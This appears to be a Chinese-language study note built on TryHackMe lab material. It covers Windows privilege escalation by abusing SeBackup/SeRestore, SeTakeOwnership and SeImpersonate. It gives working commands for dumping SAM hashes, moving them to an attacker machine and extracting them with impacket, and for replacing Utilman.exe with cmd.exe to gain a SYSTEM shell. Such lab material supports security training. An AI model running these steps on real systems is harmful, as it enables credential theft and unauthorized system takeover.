:::info 在 Linux 提权中,我们也经常可以看到一些利用用户特权进行提权的方法,该方法类似

:::

特权

  1. C:\> whoami /priv
  2. PRIVILEGES INFORMATION
  3. ----------------------
  4. Privilege Name Description State
  5. ============================= ============================== ========
  6. SeBackupPrivilege Back up files and directories Disabled
  7. SeRestorePrivilege Restore files and directories Disabled
  8. SeShutdownPrivilege Shut down the system Disabled
  9. SeChangeNotifyPrivilege Bypass traverse checking Enabled
  10. SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

我们可以使用该命令来获取用户拥有的特权。

当然 Windows 特权有很多,我们简单介绍几个就可以了,我们可以在这个项目中查看更多的特权方法:

GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS.

SeBackup / SeRestore

:::info 这个从名字就可以看出来是一个备份特权,我们通常会利用这个方法去获取 密码哈希 进一步来扩大目标

:::

  1. C:\> reg save hklm\system C:\Users\THMBackup\system.hive
  2. The operation completed successfully.
  3. C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
  4. The operation completed successfully.

使用 SMB 传输到本地

  1. user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

使用 impacket 进行检索密码哈希:

  1. user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
  2. Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
  3. [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
  4. [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
  5. Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
  6. Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

然后就可以利用 PTH 进行发起攻击

SeTakeOwnership

:::info 该特权运行用户获得系统上任何对象的所有权

注意要获取到此特权,我们需要使用管理员身份打开命令提示符

:::

  1. C:\> whoami /priv
  2. PRIVILEGES INFORMATION
  3. ----------------------
  4. Privilege Name Description State
  5. ============================= ======================================== ========
  6. SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
  7. SeChangeNotifyPrivilege Bypass traverse checking Enabled
  8. SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

我们将滥用此特权来进行升级, Utilman 是一个内置 Windows 程序,用于在锁屏屏幕间轻松访问:

因为该程序是 SYSTEM 权限,所以我们可以替换此文件进行提权:

我们先来获取所有权

  1. C:\> takeown /f C:\Windows\System32\Utilman.exe
  2. SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

获取所有权后,我们为自己分配相关权限

  1. C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
  2. processed file: Utilman.exe
  3. Successfully processed 1 files; Failed processing 0 files
在此之后,我们将 utilman.exe 替换为 cmd 的副本.exe:
  1. C:\Windows\System32\> copy cmd.exe utilman.exe
  2. 1 file(s) copied.

此处为语雀卡片,点击链接查看

SeImpersonate / SeAssignPrimaryToken

:::info 该特权运行进程模拟其他用户代表他们执行操作

这涉及到 Windows 访问令牌的相关知识

利用程序:GitHub - k4sth4/PrintSpoofer: Windows Privilege Escalation

:::

Acces Token

如果我们拥有此特权,我们可以尝试模拟任何连接到指定进程,并经过身份验证的用户。

如果要使用此漏洞进行提权,我们需要两个条件:

  • 生成进程,以便用户可以连接进行身份验证
  • 找到一种方法使特权用户去连接我们的恶意进程

实例:Relevant

参考

TryHackMe | Cyber Security Training